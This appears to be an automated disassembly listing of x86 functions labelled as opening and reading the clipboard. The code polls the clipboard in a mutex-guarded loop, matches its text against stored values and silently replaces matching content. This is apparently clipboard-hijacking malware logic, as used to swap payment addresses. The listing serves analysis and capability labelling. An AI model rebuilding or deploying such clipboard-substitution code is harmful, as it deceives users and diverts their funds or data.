Function at 0x6ff59dc0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x6c
mov eax, dword [0x7006702c]
mov dword [esp + 0x5c], eax
xor eax, eax
mov dword [esp + 8], 0x7001f5b0
mov dword [esp + 4], 0
mov dword [esp], 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
sub esp, 0xc
test eax, eax
je 0x6ff59bcc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [esp + 0x5c]
sub eax, dword [0x7006702c]
jne 0x6ff59db8
add esp, 0x6c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 0x7001f5b0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
lea ebp, [esp + 0x18]
lea edi, [esp + 0x14]
lea esi, [esi]
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp eax, dword [0x7001e490]
je 0x6ff59bf8
lea eax, [esp + 0x2c]
mov dword [esp], eax
call 0x6ff59dc0
lea ecx, [esp + 0x2c]
call fcn.6ff6b520
test al, al
je 0x6ff59c40
call 0x6ff59eb0
lea ecx, [esp + 0x2c]
call fcn.6ffe38b0
jmp 0x6ff59bf8
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x44]
mov dword [esp], eax
call fcn.6ffe2b90
sub esp, 4
call fcn.6ffdbd60
mov dword [esp + 0x14], eax
call fcn.6ffdbd20
mov dword [esp + 0x18], eax
jmp 0x6ff59ce1
mov eax, dword [esp + 0x14]
call fcn.6ff5e300
lea ecx, [esp + 0x1c]
mov ebx, eax
mov eax, dword [eax + 4]
mov dword [esp], eax
call fcn.6ffdf7c0
sub esp, 4
lea edx, [esp + 0x1c]
lea eax, [esp + 0x2c]
call fcn.70005950
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.6ffdf830
mov eax, esi
test al, al
jne 0x6ff59cf5
mov eax, dword [ebx]
lea ecx, [esp + 0x1c]
mov dword [esp], eax
call fcn.6ffdf7c0
sub esp, 4
lea edx, [esp + 0x1c]
lea eax, [esp + 0x2c]
call fcn.70005950
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.6ffdf830
mov eax, esi
test al, al
jne 0x6ff59d18
mov ecx, edi
call fcn.6ff5bbc0
mov dword [esp + 4], ebp
mov dword [esp], edi
call fcn.6ff5cb10
test al, al
jne 0x6ff59c70
call 0x6ff59eb0
lea ecx, [esp + 0x44]
call fcn.6ffe38b0
lea ecx, [esp + 0x2c]
call fcn.6ffe38b0
jmp 0x6ff59bf8
mov eax, dword [ebx + 4]
lea ecx, [esp + 0x44]
mov dword [esp], eax
call fcn.6ffe39d0
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
test eax, eax
je 0x6ff59cf5
lea ecx, [esp + 0x44]
call fcn.6ff6b4e0
mov dword [esp], 0
add eax, 1
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
sub esp, 8
mov ebx, eax
test eax, eax
je 0x6ff59dad
lea ecx, [esp + 0x44]
call fcn.6ff6b500
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [esp + 4], ebx
mov dword [esp], 1
call dword [sym.imp.USER32.dll_SetClipboardData]
sub esp, 8
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x6ff59cf5
call fcn.6ff41590
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [0x7006702c]
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp], 1
mov ebx, dword [esp + 0x40]
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
sub esp, 4
test eax, eax
je 0x6ff59dfd
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
test eax, eax
jne 0x6ff59e30
mov dword [esp], 0x7001f176
mov ecx, ebx
call fcn.6ffe30d0
sub esp, 4
mov eax, dword [esp + 0x2c]
sub eax, dword [0x7006702c]
jne 0x6ff59ea3
add esp, 0x30
mov eax, ebx
pop ebx
pop esi
pop edi
ret
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
sub esp, 4
mov esi, eax
test eax, eax
je 0x6ff59e98
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
test eax, eax
je 0x6ff59e98
mov dword [esp], eax
lea edi, [esp + 0x14]
mov ecx, edi
call fcn.6ffe30d0
sub esp, 4
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esp], edi
mov ecx, ebx
call fcn.6ffe29e0
mov ecx, edi
sub esp, 4
call fcn.6ffe38b0
jmp 0x6ff59e0e
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x6ff59dfd
call fcn.6ff41590
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x1c
mov eax, dword [0x7006702c]
mov dword [esp + 0xc], eax
xor eax, eax
call dword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x7001e490], eax
mov eax, dword [esp + 0xc]
sub eax, dword [0x7006702c]
jne 0x6ff59ed9
add esp, 0x1c
ret
call fcn.6ff41590
nop
nop
sub esp, 0x1c
mov eax, dword [esp + 0x20]
call pe_dos_header
mov dword [esp], 1
sub eax, 0xc
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, 0x6ff59f40
call pe_dos_header
add esp, 0x1c
ret